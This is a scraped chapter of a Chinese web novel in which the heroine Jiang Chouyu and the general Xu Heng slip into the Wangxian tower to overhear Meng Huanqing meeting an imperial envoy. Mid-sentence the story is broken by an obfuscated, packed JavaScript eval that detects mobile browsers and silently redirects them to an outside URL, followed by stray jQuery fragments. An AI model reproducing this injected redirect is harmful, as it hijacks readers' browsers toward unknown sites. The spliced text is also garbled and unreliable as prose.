江愁余发誓,此刻是她明媚笑容最为僵硬的时候了。


    美人在旁,月上柳梢头,明明是谈情说爱的好时机。


    谁家好人上一秒略带柔情(自我脑补)是“你发丝乱了”,下一秒就是带你去杀人(非常决绝)。


    经典影视剧暧昧氛围不超过三秒,她这回是真确定,这位龙傲天妥妥的情商盆地。


    怪不得原著里没怎么提到和他相配的女主。


    而且去武力对决是什么很好的事吗?非得把她带上,真不怕她拖后腿啊。


    万一对方先把自己抓住了,攻略大业还没完成,她都要先狗带。


    江愁余脑子里骂骂咧咧,深吸一口气,略带委婉,试图做最后的挣扎:"少将军,首先我是一个大家闺秀,大半夜随你出来也不太妥当,要不……"我自己先回去??


    后半截话她咽下去了,因为胥衡很给面子地将她松开了。


    “说的也是,那你走吧。”男人一听,思考了片刻,缓缓颔首。


    讲真的,江愁余是非常想走的,可以立刻表演一千米的飞人速度。


    但是拜托!先把她从树上放下去可以吗???


    两人正站在十丈高的树上,脚踩着古树盘枝,寒风瑟瑟,江愁余抱紧胳膊,低头目测了一下,如果她坚持从这上面跳下去应该不会全死,但也只能半活,而且再退一万步说,她有点恐高啊。


    从他们所站的位置看过去,不远处正是垣州最有名的望仙楼,其中千金菜肴,雕梁画柱,珠帘摇动发出清脆声响,楼内各色才子佳人举酒相邀。


    如果不是在如此尴尬的处境,她一定会好好欣赏美景的。


    “江娘子不走吗?”胥衡突然问道,一幅我已经如你愿为何不走的欠揍表情。


    江愁余真想翻他白眼,一咬牙,还是硬撑着笑道:“少将军一人在外,我亦担心,我还是陪着少将军吧,有个人照应也是好的。”


    虽然这个照应水分挺大的。


    胥衡闻言侧目看了她一眼,唇角微弯:“好。”


    麻蛋,你别笑得这么嘲讽好吗?我不是怂,这叫珍惜生命。


    江愁余暗自骂道,一边又在回忆自己晚上吃了啥,好在最近养伤都喝的白粥,消化得差不多了,反而有点肚子空空,要是放在寻常,等会儿看到杀人的血腥场面,她一定非常“不小心”吐在眼前这个罪魁祸首上。


    而胥衡看着面前这位表妹心思明晃晃都写在脸上,有些好笑,他实在想不通母亲是怎么教她的,或者她背后的人是怎么培养她的,难道是真的反其道而行之?心思聪慧者引人忌惮,蠢笨之人倒不会惹眼注意。


    默默蛐蛐完的江愁余顺着龙傲天移开的目光看去,一辆右上角挂着孟家标识的马车缓缓停在楼前,下来的还是老熟人——孟还青。


    他裹着白色大氅,或许是人逢喜事,脸色比起新婚那日还要红润些,人也格外俊朗,倒不似张朔雁嘴里的病秧子。


    候在楼前的小厮赶紧迎上前,两人说了几句,孟还青微微侧身,不知道是不是错觉,江愁余总觉得他往他们这边看了一眼。


    孟还青进了之后,又有三人紧随其后,皆低着头看不清长相,身量大约在八尺左右,走路带风,虽然她没学过武学,但也知道都是练家子。


    奇怪,是什么人呢?


    而且这位龙傲天不是和孟家兄妹合作了吗?怎么还有第三人插入啊。


    江愁余认真想了会儿。


    “走吧。”胥衡收回目光,同时一手揽住江愁余的腰便从树上飞跃而下,轻落在望仙楼后边的暗巷。


    还没反应过来的江愁余:不是啊,到底去哪儿?还有下次跳下来能不能再提前一点跟我说,让我做好心理准备,主要是太快了,体验感不强。


    “我们是要进去吗?”她猜测胥衡应该是要进去探听消息,从正门走太惹人眼,谁知道他们有没有在外面留着探子,还是绕进去比较稳妥,突然有些激动。


    胥衡未答,而是看了眼她。


    江愁余则抬眸看了看眼前比她高出约二尺三寸的石墙,朝胥衡伸出手。


    “这次我准备好了。”来吧,展示你的轻功。


    胥衡慢悠悠抬手,然后——绕过了江愁余,往右转俨然有道暗门,门上挂着缠了几圈的铁锁,他取出早已准备好的钥匙,几下动作,铁锁应声而落。


    “倒也不必翻墙。”语气听上去毫无波澜。


    目睹全程的江愁余将抬起的手向下锤了锤自己的腿,边说道:“这手真酸啊,估计站久了。”


    尴尬?根本不存在的。


    胥衡没揭穿她把腿说成手了,推门进去,木门吱呀发出响声,江愁余提起一口气,紧跟在胥衡后面,不知道是否是今夜前客多,后院没甚人,前面这人应该还提前探过路,从后院往前居然没有撞上小厮或奴婢,本来她还想放轻点脚步,谁知越往前丝竹管弦声越发大,歌舞不停,她这点脚步声根本不算什么。


    两人沿着楼梯上去三楼,胥衡带着江愁余转了又转,最后站定在其中一间厢房,他直接推门进去,江愁余确定身后无人,赶紧关上门扉。


    转头一看,胥衡已然在桌前坐下,没有动搁置在上面的美酒,而是给自己倒了杯清茶,动作非常自然,十足十主人态度。


    而江愁余蹑手蹑脚确定房间无人之后,才开始打量这个房间,不同于印象中的风月,倒是格外雅致清净。博山炉轻烟缓缓飘着,熏着暖香,六曲螺钿屏风隔出胥衡落座的茶席,湘妃竹榻铺着上好的皮毛褥子,窗边挂着参差排箫,应该是此间主人的,不过铜镜前虽然不染尘土,倒没有寻常放着女子首饰的漆盒,床帐更是素白颜色。


    看起来像是另外准备的厢房。


    正想着,外边却突然有些响动,江愁余三步并一步站在胥衡背后,后者则轻飘飘看了她一眼。


    江愁余丝毫不心虚,配角的命也是命啊。


    然而门扉推开是穿着望仙楼衣着的侍女端着菜肴进来,一一放在桌上,同时收走了美酒,低声道:“按照主子吩咐,已经将他们安排在隔壁厢房。”


    胥衡颔首,侍女安静退下。


    江愁余:搞了半天原来是你的地盘,那我们还跟做贼一样。


    胥衡屈指敲了敲桌,“吃吧。”


    江愁余看了眼散发着香味的饭菜,一时没反应过来:“给我的吗?”


    胥衡睨她一眼:“不然呢。”


    首先这饭菜是不是有毒的,江愁余想了一秒钟,应该不是,胥衡如果想杀她早就动手,还整这一出作甚。或许是这位龙傲天今日又变脸


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15265352|166233||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    ,开始装好人人设,鉴于满桌的菜肴,她姑且原谅之前他的嘲讽三秒。


    外面歌舞声小了些,江愁余吃饭的声音反而在这个房间大了些,不过她也管不了,因为这饭菜确是美味爽口,仅次于上回书房里那顿,喝了几日白粥的她非满足!


    胥衡也不管她怎么想,说完便将目光落在手中的茶杯上,没什么表情。


    江愁余吃饭时,隔壁房间也传来了些动静。


    “久闻还青公子大名。”应该是随后而来的神秘人说道,声音洪亮如钟。


    “吾亦神交千厚大人久矣。”孟还青清润的声音传来,话中的千厚大人应该就是这位神秘人。


    “我才到垣州,便听民间传闻,还青公子同黎家小姐成婚,真是一对男郎女貌的佳偶。”千厚继续道,语气并未听到真心,反而听出几分莫明。


    “孟黎两家定亲已久,先前婚期未定也是黎家念女,想多留几年,谁知叔父病重……”孟还清叹息,颇为忧思。


    江愁余咂舌,要不是我知道你叔父是被你和孟别湘搞的,我都信了。


    对面的千厚却信了几分,“都说孟太守病重,圣上特地命御医携宫库的千年人参前来,明日我便带御医登门,好生替孟太守诊治一二。”


    “千厚大人好意还青心领,只是叔父如今见不得生人,更是识不得堂妹与吾,整日呓语不断,吾在垣州召四方名医,皆说叔父年老,以应天命。”


    原来千厚乃是之前所说的京使,如今垣州形势大变,怪不得他想先见孟临瀚,瞧瞧这位守据一方的太守到底是什么情况。


    不过孟还青算是挡回去了,既然说得出识不得人,便是见到也无用。


    千厚并未泄气,“那便让孟太守安心养病,明日我便拜见孟小姐。”


    孟还青毫不犹豫,“那是自然,圣上为宗室选亲,堂妹能入此列已是孟家大幸,明日我便让堂妹来拜见千厚大人。”


    他如此爽快,千厚却有些疑虑,他先前派人打探过,孟太守看重独女,不忍分离,甚至想在圣上选亲前为她定下婚事。


    而眼前的孟还青却似乎对他的言下之意乐见其成,看来两人关系确实不睦,毕竟孟家主家同辈只他们两人,争权夺势不在少数。


    如若这般,那孟别湘的去处至关重要。


    不过千厚在他面前不敢露出心思,“多谢还青公子。”


    孟还青含笑应下,正欲开口时,却传来敲门声,他稍稍蹙眉又松开,转而说道:“应是这几日的宗族事务。”


    千厚闻弦知雅意,赶紧道:“那还青公子先去。”


    “多谢千厚大人。”孟还青也不推辞,走了一步忽又想起什么,回头说道,“此间雅房我已订下一月,千厚大人安心住下,若有事,便让当家的传信给我。”


    千厚略讶异,随后连声答应。


    孟还青便推开门扉,千厚在交错间隐约见到传话的是位穿着孟府仆从衣裳的女子。


    既为孟家奴婢,如何是宗族事务,此事怕是有蹊跷。


    他沉思片刻,说道:“去查查方才传话那人。”


    “是。”房间忽传出一哑声,随后又安静下去。


    “听得如何?”千厚复又问道。


    隔壁的江愁余猛的一激灵,不敢有所动作。